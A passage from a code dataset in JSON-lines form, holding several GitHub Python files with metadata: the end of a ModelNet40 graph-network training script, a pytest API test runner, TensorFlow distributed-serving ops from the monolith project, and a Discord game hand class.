label.to(opt.device)\n\n            out, graph_feats = model(inputs)\n            loss = criterion(out, gt.to(opt.device))\n            total_ce_loss += loss.item()\n\n            #Divergence of distance matrices\n            factor_dist2dist = opt.d2d_weight\n            d2d_loss = scaledstressloss(inputs.to(opt.device), graph_feats)\n            total_d2d_loss += d2d_loss.item()\n\n            #Update loss\n            loss += factor_dist2dist*d2d_loss\n            total_loss+=loss.item()\n            pred = out.max(dim=1)[1]\n\n            target_np = gt.cpu().numpy()\n            pred_np = pred.cpu().numpy()\n\n            targets += list(target_np.ravel())\n            preds += list(pred_np.ravel())\n\n    acc = accuracy_score(targets, preds)\n\n    logging.info('TEST Epoch: [{}]\\t Acc: {:.4f}\\t'.format(opt.epoch, acc))\n    return targets, preds, total_loss, total_d2d_loss, total_ce_loss, acc\n\ndef epochs(opt):\n    logging.info('===> Creating dataloader ...')\n    #train_dataset = GeoData.ModelNet(opt.data_dir, name = '40', train = True, pre_transform=T.NormalizeScale())\n    #train_sampler = DistributedSampler(train_dataset, shuffle=True, seed=opt.seed)\n    #train_loader = DenseDataLoader(train_dataset, batch_size=opt.batch_size, shuffle=False, sampler = train_sampler, num_workers=opt.n_gpus)\n    #test_dataset = GeoData.ModelNet(opt.data_dir, name = '40', train=False, pre_transform=T.NormalizeScale())\n    #test_sampler = DistributedSampler(test_dataset, shuffle=False, seed=opt.seed)\n    #test_loader = DenseDataLoader(test_dataset, batch_size=opt.batch_size, shuffle=False, sampler = test_sampler, num_workers=opt.n_gpus)\n\n    random.seed(opt.seed)\n    np.random.seed(opt.seed)\n    torch.manual_seed(opt.seed)\n\n    train_dataset = ModelNet40(1024, 'train')\n    train_generator = torch.Generator()\n    train_generator.manual_seed(opt.seed)\n    if opt.n_gpus > 1:\n        train_sampler = DistributedSampler(train_dataset, shuffle=True, seed=opt.seed)\n        train_loader = DataLoader(train_dataset, batch_size=opt.batch_size, shuffle=False, generator= train_generator, sampler = train_sampler, num_workers=opt.n_gpus, drop_last=False,worker_init_fn=seed_worker)\n    else:\n        train_loader = DataLoader(train_dataset, batch_size=opt.batch_size, shuffle=True, generator=train_generator, num_workers=4, drop_last=False,worker_init_fn=seed_worker)\n\n    test_dataset = ModelNet40(1024, 'test')\n    test_generator = torch.Generator()\n    test_generator.manual_seed(opt.seed)\n    if opt.n_gpus > 1:\n        test_sampler = DistributedSampler(test_dataset, shuffle=False, seed=opt.seed)\n        test_loader = DataLoader(test_dataset, batch_size=opt.batch_size, shuffle=False, generator = test_generator, sampler = test_sampler, num_workers=opt.n_gpus, drop_last=False,worker_init_fn=seed_worker)\n    else:\n        test_loader = DataLoader(test_dataset, batch_size=opt.batch_size, shuffle=False, generator=test_generator, num_workers=4, drop_last=False,worker_init_fn=seed_worker)\n\n    LABELS = [\n    'airplane', 'bathtub', 'bed', 'bench', 'bookshelf', 'bottle', 'bowl', 'car',\n    'chair', 'cone', 'cup', 'curtain', 'desk', 'door', 'dresser', 'flower_pot',\n    'glass_box', 'guitar', 'keyboard', 'lamp', 'laptop', 'mantel', 'monitor',\n    'night_stand', 'person', 'piano', 'plant', 'radio', 'range_hood', 'sink',\n    'sofa', 'stairs', 'stool', 'table', 'tent', 'toilet', 'tv_stand', 'vase',\n    'wardrobe', 'xbox']\n\n    opt.n_classes = 40\n\n    cur_rank = comm.get_local_rank()\n\n    #torch.use_deterministic_algorithms(True)\n\n    logging.info('===> Loading the network ...')\n    if opt.n_gpus > 1:\n        model = DistributedDataParallel(ClassificationGraphNN(opt).to(cur_rank),device_ids=[cur_rank], output_device=cur_rank,broadcast_buffers=False).to(cur_rank)\n    else:\n        model = ClassificationGraphNN(opt).to(cur_rank)\n    logging.info('===> loading pre-trained ...')\n    model, opt.best_value, opt.epoch = load_pretrained_models(model, opt.pretrained_model, opt.phase)\n    logging.info(model)\n    if comm.is_main_process():\n        wandb.init(project=\"MODELNET40\")\n        wandb.run.name = opt.exp_name\n        wandb.watch(model,log_freq=100,log=\"all\")\n\n    logging.info('===> Init the optimizer ...')\n    criterion = torch.nn.CrossEntropyLoss().to(cur_rank)\n    optimizer = torch.optim.Adam(model.parameters(), lr=opt.lr, weight_decay = opt.decay)\n\n    scheduler = torch.optim.lr_scheduler.StepLR(optimizer, opt.lr_adjust_freq, opt.lr_decay_rate)\n    optimizer, scheduler, opt.lr = load_pretrained_optimizer(opt.pretrained_model, optimizer, scheduler, opt.lr)\n\n    logging.info('===> start training ...')\n    epochs_frozen = 0\n    freeze_graph = True\n    for _ in range(opt.epoch, opt.total_epochs):\n        '''\n        filtered_parameters = []\n        if epochs_frozen == 5:\n            freeze_graph = not freeze_graph\n            epochs_frozen = 0\n        for name, param in model.named_parameters():\n            #filter(lambda t: ( t[0][:16] == 'module.graph_mlp') or (not bool(opt.epoch%2) and t[0][:16] != 'module.graph_mlp'), model.parameters())\n            if (freeze_graph and name[:16] == 'module.graph_mlp') or (not freeze_graph and name[:16] != 'module.graph_mlp'):\n                print(name)\n                filtered_parameters.append(param)\n        optimizer = torch.optim.Adam(filtered_parameters)\n        '''\n\n        opt.epoch += 1\n        if opt.n_gpus > 1:\n            train_sampler.set_epoch(opt.epoch)\n            test_sampler.set_epoch(opt.epoch)\n        logging.info('Epoch:{}'.format(opt.epoch))\n        train_loss, train_d2d_loss, train_ce_loss, train_acc = train(model, train_loader, optimizer, criterion, opt, cur_rank)\n        if opt.epoch % opt.eval_freq == 0 and opt.eval_freq != -1:\n            test_targets, test_preds, test_loss, test_d2d_loss, test_ce_loss, test_acc = test(model, test_loader, criterion, opt, cur_rank)\n        scheduler.step()\n        if comm.is_main_process():\n            # ------------------ save checkpoints\n            # min or max. based on the metrics\n            is_best = (test_acc < opt.best_value)\n            opt.best_value = max(test_acc, opt.best_value)\n            model_cpu = {k: v.cpu() for k, v in model.state_dict().items()}\n            save_checkpoint({\n                'epoch': opt.epoch,\n                'state_dict': model_cpu,\n                'optimizer_state_dict': optimizer.state_dict(),\n                'scheduler_state_dict': scheduler.state_dict(),\n                'best_value': opt.best_value,\n            }, is_best, opt.ckpt_dir, opt.exp_name)\n            matrix = confusion_matrix(test_targets, test_preds)\n            per_class_acc = matrix.diagonal()/matrix.sum(axis=1)\n            wandb_dict = {'Train/loss': train_loss,\n                       'Val/loss': test_loss,\n                       'Train/Accuracy':train_acc,\n                       'Val/Accuracy':test_acc,\n                       'Train/d2d_loss':train_d2d_loss,\n                       'Val/d2d_loss':test_d2d_loss,\n                       'Train/ce_loss':train_ce_loss,\n                       'Val/ce_loss':test_ce_loss,\n                       'lr':scheduler.get_last_lr()[0]}\n            for i, c in enumerate(LABELS):\n                wandb_dict[f'Test_acc/{c}'] = per_class_acc[i]\n            wandb_dict[f'Test_acc/MEAN'] = sum(per_class_acc)/opt.n_classes\n            # ------------------ tensorboard log\n            wandb.log(wandb_dict, step=opt.epoch)\n\n        logging.info('Saving the final model.Finish!')\n        epochs_frozen += 1\n\ndef main():\n    opt = OptInit().get_args()\n    '''\n    This wrapper taken from detectron2 (https://github.com/facebookresearch/detectron2/blob/main/detectron2/engine/launch.py),\n    creates n_gpus processes and launches epochs function on each of them.\n    '''\n    launch(\n        epochs,\n        num_gpus_per_machine=opt.n_gpus,\n        num_machines=1,\n        machine_rank=0,\n        dist_url='auto',\n        args=(opt,)\n    )\n    #epochs(opt)\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "megaelius/LG-GCN", "sub_path": "train_modelnet40.py", "file_name": "train_modelnet40.py", "file_ext": "py", "file_size_in_byte": 12918, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.initial_seed", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 30, "usage_type": "attribute"}, {"api_name": "random.seed", "line_number": 31, "usage_type": "call"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 36, "usage_type": "call"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 37, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 38, "usage_type": "attribute"}, {"api_name": "torch.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 45, "usage_type": "call"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 46, "usage_type": "attribute"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 52, "usage_type": "call"}, {"api_name": "gcn_lib.dense.pairwise_distance", "line_number": 53, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "torch.sqrt", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn.MSELoss", "line_number": 59, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tqdm.tqdm", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn.L1Loss", "line_number": 94, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 94, "usage_type": "attribute"}, {"api_name": "torch.zeros_like", "line_number": 98, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 120, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 127, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 136, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 137, "usage_type": "call"}, {"api_name": "sklearn.metrics.accuracy_score", "line_number": 161, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 163, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 167, "usage_type": "call"}, {"api_name": "random.seed", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.random.seed", "line_number": 176, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 176, "usage_type": "attribute"}, {"api_name": "torch.manual_seed", "line_number": 177, "usage_type": "call"}, {"api_name": "modelnet40.ModelNet40", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.Generator", "line_number": 180, "usage_type": "call"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 183, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 184, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 186, "usage_type": "call"}, {"api_name": "modelnet40.ModelNet40", "line_number": 188, "usage_type": "call"}, {"api_name": "torch.Generator", "line_number": 189, "usage_type": "call"}, {"api_name": "torch.utils.data.distributed.DistributedSampler", "line_number": 192, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 193, "usage_type": "call"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 195, "usage_type": "call"}, {"api_name": "comm.get_local_rank", "line_number": 207, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.nn.parallel.DistributedDataParallel", "line_number": 213, "usage_type": "call"}, {"api_name": "architecture.ClassificationGraphNN", "line_number": 213, "usage_type": "call"}, {"api_name": "architecture.ClassificationGraphNN", "line_number": 215, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 216, "usage_type": "call"}, {"api_name": "utils.ckpt_util.load_pretrained_models", "line_number": 217, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 218, "usage_type": "call"}, {"api_name": "comm.is_main_process", "line_number": 219, "usage_type": "call"}, {"api_name": "wandb.init", "line_number": 220, "usage_type": "call"}, {"api_name": "wandb.run", "line_number": 221, "usage_type": "attribute"}, {"api_name": "wandb.watch", "line_number": 222, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 224, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 225, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 225, "usage_type": "attribute"}, {"api_name": "torch.optim.Adam", "line_number": 226, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 226, "usage_type": "attribute"}, {"api_name": "torch.optim.lr_scheduler.StepLR", "line_number": 228, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 228, "usage_type": "attribute"}, {"api_name": "utils.ckpt_util.load_pretrained_optimizer", "line_number": 229, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 231, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 252, "usage_type": "call"}, {"api_name": "comm.is_main_process", "line_number": 257, "usage_type": "call"}, {"api_name": "utils.ckpt_util.save_checkpoint", "line_number": 263, "usage_type": "call"}, {"api_name": "sklearn.metrics.confusion_matrix", "line_number": 270, "usage_type": "call"}, {"api_name": "wandb.log", "line_number": 285, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 287, "usage_type": "call"}, {"api_name": "config.OptInit", "line_number": 291, "usage_type": "call"}, {"api_name": "parallel_wrapper.launch", "line_number": 296, "usage_type": "call"}]}
{"seq_id": "17973368800", "text": "\"\"\"\n -*- coding: utf-8 -*-\n @Time    : 2022/8/15 15:15\n @Author  : 文闯\n @File    : test_gcp.py\n @Software: PyCharm\n @company : 功夫豆信息科技\n\"\"\"\nimport sys,os\nsys.path.append('..')\nsys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))\nimport pytest\nimport json\n\nfrom common.conf import MyConf\nfrom common.path import conf_dir\nfrom common.request import MyRequests\nfrom common.excel import MyExcel\nfrom common.myassert import MyAssert\nfrom common.logger import logger\nfrom common.path import testdata_dir\nfrom common.global_data import Data\nfrom common.extract import extract_data_from_response\nfrom common.replace import replace_case_with_re\n\n# 第一步：读取注册接口的测试数据 - 是个列表，列表中的每个成员，都是一个接口用例的数据。\nexcel_path = os.path.join(testdata_dir, \"../testdatas/gcp.xlsx\")\nprint(excel_path)\nme = MyExcel(excel_path, \"gcp\")\ncases = me.read_data()\n\n# 第二步：遍历测试数据，每一组数据，发起一个http的接口\n# 实例化请求对象\nmq = MyRequests()\nmassert = MyAssert()\nclass TestGcp:\n    @pytest.mark.parametrize(\"case\",cases)\n    def test_gcp(self, case):\n        # share_data = class_init\n        # # 1、下一接口的请求数据中，需要替换，替换为上一个接口中提取的数据。\n        # case = replace_case_with_re(case, share_data)\n        #\n        # 2、把替换之后的请求数据(json格式的字符串)，转换成一个字典\n        req_dict = json.loads(case[\"req_data\"])\n        # 3、发起请求，并接收响应结果\n        if hasattr(Data, \"token\"):\n            resp = mq.send_requests(case[\"method\"], case[\"url\"], data=req_dict, token=getattr(Data, \"token\"))\n        else:\n            resp = mq.send_requests(case[\"method\"], case[\"url\"], data=req_dict)\n        logger.info(resp.json())\n\n        # 结果空列表\n        assert_res = []\n\n        # 5、断言响应结果中的数据\n        if case[\"assert_list\"]:\n            response_check_res = massert.assert_response_value(case[\"assert_list\"], resp.json())\n            assert_res.append(response_check_res)\n\n        if False in assert_res:\n            pass\n        else:\n            # 4、提取响应结果中的数据,并设置为全局变量\n            if case[\"extract\"]:\n                # 调用提取处理函数\n                extract_data_from_response(case[\"extract\"], resp.json())\n\n        # 6、断言数据库 - sql语句、结果与实际、比对的类型\n        if case[\"assert_db\"]:\n            db_check_res = massert.assert_db(case[\"assert_db\"])\n            assert_res.append(db_check_res)\n\n        # 最终的抛AsserttionError\n        if False in assert_res:\n            raise AssertionError\npytest.main(['--report=_report.html',\n             '--title=GCP接口自动化测试报告',\n             '--tester=王文闯',\n             '--desc=报告描述信息',\n             '--template=1'])\n", "repo_name": "wwenchuang/gfd-gcp", "sub_path": "testcases/test_gcp.py", "file_name": "test_gcp.py", "file_ext": "py", "file_size_in_byte": 2945, "program_lang": "python", "lang": "zh", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.path.append", "line_number": 10, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "sys.path.append", "line_number": 11, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path", "line_number": 11, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 11, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "common.path.testdata_dir", "line_number": 27, "usage_type": "argument"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "common.excel.MyExcel", "line_number": 29, "usage_type": "call"}, {"api_name": "common.request.MyRequests", "line_number": 34, "usage_type": "call"}, {"api_name": "common.myassert.MyAssert", "line_number": 35, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 44, "usage_type": "call"}, {"api_name": "common.global_data.Data", "line_number": 46, "usage_type": "argument"}, {"api_name": "common.global_data.Data", "line_number": 47, "usage_type": "argument"}, {"api_name": "common.logger.logger.info", "line_number": 50, "usage_type": "call"}, {"api_name": "common.logger.logger", "line_number": 50, "usage_type": "name"}, {"api_name": "common.extract.extract_data_from_response", "line_number": 66, "usage_type": "call"}, {"api_name": "pytest.mark.parametrize", "line_number": 37, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 37, "usage_type": "attribute"}, {"api_name": "pytest.main", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "7525736982", "text": "from contextlib import nullcontext\nfrom typing import List\n\nfrom absl import logging\nimport tensorflow as tf\nfrom monolith.agent_service.agent_service_pb2 import ServerType\nfrom monolith.agent_service.backends import SyncBackend\nfrom monolith.utils import get_libops_path\nfrom monolith.native_training.runtime.ops import gen_monolith_ops\nfrom monolith.native_training import utils\nfrom monolith.native_training.model_export.export_context import is_exporting_standalone\nfrom monolith.native_training.runtime.parameter_sync import \\\n  parameter_sync_pb2\n\ngen_distributed_serving_ops = gen_monolith_ops\n\n\ndef remote_predict(input_tensor_alias,\n                   input_tensors,\n                   output_tensor_alias,\n                   model_name,\n                   task,\n                   old_model_name,\n                   model_version=-1,\n                   fail_op_on_rpc_error=True,\n                   max_rpc_deadline_millis=30,\n                   output_types=None,\n                   name=None,\n                   signature_name='serving_default'):\n  \"\"\"Runs a predict in remote process through rpc.\n  Args:\n    input_tensor_alias: input tensor alias for Predict\n    input_tensors: input tensors for Predict\n    output_tensor_alias: output tensor alias for Predict\n    task: Parameter Server index\n    model_name: model_name that the Predict is running on\n    model_version: the model version for the Predict call. If unset, the highest\n      version available for serving will be targeted.\n    max_rpc_deadline_millis: rpc deadline in millis\n    output_types: output types for Predict\n    name: name for the op in the graph\n    signature_name: the signature def for remote graph inference\n  Returns:\n    output_tensors as a result of the Predict.\n  Raises ValueError if model_name value is missing.\n  \"\"\"\n  if model_name is None:\n    raise ValueError('model_name must be specified.')\n  return (gen_distributed_serving_ops.tf_serving_remote_predict(\n      input_tensor_alias,\n      input_tensors,\n      output_tensor_alias,\n      model_name=model_name,\n      old_model_name=old_model_name,\n      task=task,\n      model_version=model_version,\n      fail_op_on_rpc_error=fail_op_on_rpc_error,\n      max_rpc_deadline_millis=max_rpc_deadline_millis,\n      signature_name=signature_name,\n      output_types=output_types,\n      name=name))[2]\n\n\ndef create_parameter_sync_clients(ps_num: int,) -> List[tf.Tensor]:\n  logging.info(\"Create parameter sync clients.\")\n  if ps_num == 0:\n    return [parameter_sync_client_from_config()]\n\n  sync_clients = list()\n  for i in range(ps_num):\n    ps_device_name = utils.ps_device(i)\n    with nullcontext() if is_exporting_standalone() else tf.device(\n        ps_device_name):\n      sync_clients.append(parameter_sync_client_from_config(name_suffix=str(i)))\n  return sync_clients\n\n\ndef parameter_sync_client_from_config(\n    config: parameter_sync_pb2.ClientConfig = None,\n    name_suffix: str = \"\") -> tf.Tensor:\n  return gen_distributed_serving_ops.MonolithParameterSyncClient(\n      config=config.SerializeToString() if config else '',\n      shared_name=\"MonolithSyncClient_\" + name_suffix)\n\n\ndef refresh_sync_config(sync_backend: SyncBackend, ps_index: int) -> bytes:\n  saved_model, online_ps_replicas = sync_backend.get_sync_targets(\n      f\"ps_{ps_index}\")\n  config = parameter_sync_pb2.ClientConfig()\n  if isinstance(online_ps_replicas, list):\n    config.targets.extend(online_ps_replicas)\n  elif isinstance(online_ps_replicas, dict):\n    for addr, target_extra_info in online_ps_replicas.items():\n      config.targets.append(addr)\n      config.targets_extra_info.append(target_extra_info)\n  config.model_name = saved_model\n  config.signature_name = \"hashtable_assign\"\n  config.timeout_in_ms = 3000\n  return config.SerializeToString()\n\n\ndef create_dummy_sync_client() -> tf.Tensor:\n  return gen_distributed_serving_ops.MonolithDummySyncClient(\n      shared_name=\"MonolithDummySyncClient\")\n\n\ndef create_dummy_sync_server(address: str) -> tf.Tensor:\n  return gen_distributed_serving_ops.MonolithDummySyncServer(address=address)\n\n\nclass ParameterSyncClient(object):\n\n  def __init__(self, client: tf.Tensor):\n    self._client = client\n\n  def create_sync_op(self, config_str: tf.Tensor):\n    return gen_distributed_serving_ops.monolith_parameter_sync(\n        self._client, config_str)\n\n  def as_op(self):\n    return tf.group(self._client)\n\n  @property\n  def handle(self):\n    return self._client\n\n\nclass DummySyncServer(object):\n\n  def __init__(self, address: str):\n    self._server = create_dummy_sync_server(address)\n\n  def shutdown(self):\n    return gen_distributed_serving_ops.monolith_dummy_sync_server_shutdown(\n        self._server)\n\n  def get_port(self):\n    return gen_distributed_serving_ops.monolith_dummy_sync_server_get_port(\n        self._server)\n\n  def as_op(self):\n    return tf.group(self._server)\n\n  @property\n  def handle(self):\n    return self._server\n", "repo_name": "bytedance/monolith", "sub_path": "monolith/native_training/distributed_serving_ops.py", "file_name": "distributed_serving_ops.py", "file_ext": "py", "file_size_in_byte": 4915, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 702, "dataset": "github-code", "pt": "71", "api": [{"api_name": "monolith.native_training.runtime.ops.gen_monolith_ops", "line_number": 15, "usage_type": "name"}, {"api_name": "absl.logging.info", "line_number": 65, "usage_type": "call"}, {"api_name": "absl.logging", "line_number": 65, "usage_type": "name"}, {"api_name": "monolith.native_training.utils.ps_device", "line_number": 71, "usage_type": "call"}, {"api_name": "monolith.native_training.utils", "line_number": 71, "usage_type": "name"}, {"api_name": "monolith.native_training.model_export.export_context.is_exporting_standalone", "line_number": 72, "usage_type": "call"}, {"api_name": "contextlib.nullcontext", "line_number": 72, "usage_type": "call"}, {"api_name": "tensorflow.device", "line_number": 72, "usage_type": "call"}, {"api_name": "typing.List", "line_number": 64, "usage_type": "name"}, {"api_name": "tensorflow.Tensor", "line_number": 64, "usage_type": "attribute"}, {"api_name": "monolith.native_training.runtime.parameter_sync.parameter_sync_pb2.ClientConfig", "line_number": 79, "usage_type": "attribute"}, {"api_name": "monolith.native_training.runtime.parameter_sync.parameter_sync_pb2", "line_number": 79, "usage_type": "name"}, {"api_name": "tensorflow.Tensor", "line_number": 80, "usage_type": "attribute"}, {"api_name": "monolith.agent_service.backends.SyncBackend", "line_number": 86, "usage_type": "name"}, {"api_name": "monolith.native_training.runtime.parameter_sync.parameter_sync_pb2.ClientConfig", "line_number": 89, "usage_type": "call"}, {"api_name": "monolith.native_training.runtime.parameter_sync.parameter_sync_pb2", "line_number": 89, "usage_type": "name"}, {"api_name": "tensorflow.Tensor", "line_number": 102, "usage_type": "attribute"}, {"api_name": "tensorflow.Tensor", "line_number": 107, "usage_type": "attribute"}, {"api_name": "tensorflow.Tensor", "line_number": 113, "usage_type": "attribute"}, {"api_name": "tensorflow.Tensor", "line_number": 116, "usage_type": "attribute"}, {"api_name": "tensorflow.group", "line_number": 121, "usage_type": "call"}, {"api_name": "tensorflow.group", "line_number": 142, "usage_type": "call"}]}
{"seq_id": "15277682051", "text": "from __future__ import annotations\n\nfrom typing import TYPE_CHECKING, Optional, List, Union, Any\n\nfrom discord import Message\nfrom pygame import Surface\n\nfrom UI.Game import ActivePlayerView, InactivePlayerView\n\nif TYPE_CHECKING:\n    from Classes import DeadBot, SubnauticaPlayer, ResourceCard, EquipmentCard, CreatureCard\n################################################################################\n\n__all__ = (\"SubnauticaPlayerHand\",)\n\n################################################################################\nclass SubnauticaPlayerHand:\n\n    __slots__ = (\n        \"_player\",\n        \"_resources\",\n        \"_equipment\",\n        \"_creatures\",\n        \"_hand_msg\",\n        \"_hand_view\",\n        \"_hand_renderer\",\n        \"_resource_count\",\n    )\n\n################################################################################\n    def __init__(self, player: SubnauticaPlayer):\n\n        self._player: SubnauticaPlayer = player\n\n        self._resources: List[ResourceCard] = []\n        self._equipment: List[EquipmentCard] = []\n        self._creatures: List[CreatureCard] = []\n\n        self._hand_msg: Optional[Message] = None\n        self._hand_view: Optional[Union[ActivePlayerView, InactivePlayerView]] = None\n        self._hand_renderer: PlayerHandRenderer = PlayerHandRenderer(self)\n\n        self._resource_count: int = 0\n\n################################################################################\n    def __iadd__(self, other: Any) -> SubnauticaPlayerHand:\n\n        if other.__class__.__name__ not in (\"ResourceCard\", \"EquipmentCard\", \"CreatureCard\",):\n            raise TypeError(\n                f\"unsupported operand type(s) for +=: 'SubnauticaPlayerHand' \"\n                f\"and '{other.__class__.__name__}'\"\n            )\n\n        if other.__class__.__name__ == \"ResourceCard\":\n            self.add_resource(other)\n            self._resource_count += 1\n        elif other.__class__.__name__ == \"EquipmentCard\":\n            self.add_equipment(other)\n        else:\n            self.add_creature(other)\n\n        return self\n\n################################################################################\n    def __isub__(self, other: Any) -> SubnauticaPlayerHand:\n\n        if other.__class__.__name__ not in (\"ResourceCard\", \"EquipmentCard\",):\n            raise TypeError(\n                f\"unsupported operand type(s) for +=: 'SubnauticaPlayerHand' \"\n                f\"and '{other.__class__.__name__}'\"\n            )\n\n        if other.__class__.__name__ == \"ResourceCard\":\n            self.resources.remove(other)\n        else:\n            self.equipment.remove(other)\n\n        return self\n\n################################################################################\n    @property\n    def resources(self) -> List[ResourceCard]:\n\n        return self._resources\n\n################################################################################\n    @property\n    def equipment(self) -> List[EquipmentCard]:\n\n        return self._equipment\n\n################################################################################\n    @property\n    def creatures(self) -> List[CreatureCard]:\n\n        return self._creatures\n\n################################################################################\n    @property\n    def message(self) -> Optional[Message]:\n\n        return self._hand_msg\n\n################################################################################\n    @property\n    def view(self) -> Union[ActivePlayerView, InactivePlayerView]:\n\n        return self._hand_view\n\n################################################################################\n    @property\n    def image(self) -> Optional[str]:\n\n        return self._hand_img\n\n################################################################################\n    def add_resource(self, card: ResourceCard) -> None:\n\n        self.resources.append(card)\n\n################################################################################\n    def add_equipment(self, card: EquipmentCard) -> None:\n\n        self.equipment.append(card)\n\n################################################################################\n    def add_creature(self, card: CreatureCard) -> None:\n\n        self.creatures.append(card)\n\n################################################################################\nclass PlayerHandRenderer:\n\n    __slots__ = (\n        \"_parent\",\n        \"_surface\",\n    )\n\n################################################################################\n    def __init__(self, parent: SubnauticaPlayerHand):\n\n        self._parent: SubnauticaPlayerHand = parent\n        self._surface: Surface = Surface((1024, 768))\n\n################################################################################\n    @property\n    def bot(self) -> DeadBot:\n\n        return self._parent._player.bot\n\n################################################################################\n    def render(self) -> None:\n\n        pass\n\n################################################################################\n", "repo_name": "AllegroVivo/DeadBot", "sub_path": "Classes/Game/PlayerHand.py", "file_name": "PlayerHand.py", "file_ext": "py", "file_size_in_byte": 4991, "program_lang": "python", "lang": "de", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.TYPE_CHECKING", "line_number": 10, "usage_type": "name"}, {"api_name": "Classes.SubnauticaPlayer", "line_number": 31, "usage_type": "name"}, {"api_name": "Classes.SubnauticaPlayer", "line_number": 33, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 35, "usage_type": "name"}, {"api_name": "Classes.ResourceCard", "line_number": 35, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 36, "usage_type": "name"}, {"api_name": "Classes.EquipmentCard", "line_number": 36, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 37, "usage_type": "name"}, {"api_name": "Classes.CreatureCard", "line_number": 37, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 39, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 39, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 40, "usage_type": "name"}, {"api_name": "UI.Game.ActivePlayerView", "line_number": 40, "usage_type": "name"}, {"api_name": "UI.Game.InactivePlayerView", "line_number": 40, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 46, "usage_type": "name"}, {"api_name": "typing.Any", "line_number": 65, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 82, "usage_type": "name"}, {"api_name": "Classes.ResourceCard", "line_number": 82, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 88, "usage_type": "name"}, {"api_name": "Classes.EquipmentCard", "line_number": 88, "usage_type": "name"}, {"api_name": "typing.List", "line_number": 94, "usage_type": "name"}, {"api_name": "Classes.CreatureCard", "line_number": 94, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 100, "usage_type": "name"}, {"api_name": "discord.Message", "line_number": 100, "usage_type": "name"}, {"api_name": "typing.Union", "line_number": 106, "usage_type": "name"}, {"api_name": "UI.Game.ActivePlayerView", "line_number": 106, "usage_type": "name"}, {"api_name": "UI.Game.InactivePlayerView", "line_number": 106, "usage_type": "name"}, {"api_name": "typing.Optional", "line_number": 112, "usage_type": "name"}, {"api_name": "Classes.ResourceCard", "line_number": 117, "usage_type": "name"}, {"api_name": "Classes.EquipmentCard", "line_number": 122, "usage_type": "name"}, {"api_name": "Classes.CreatureCard", "line_number": 127, 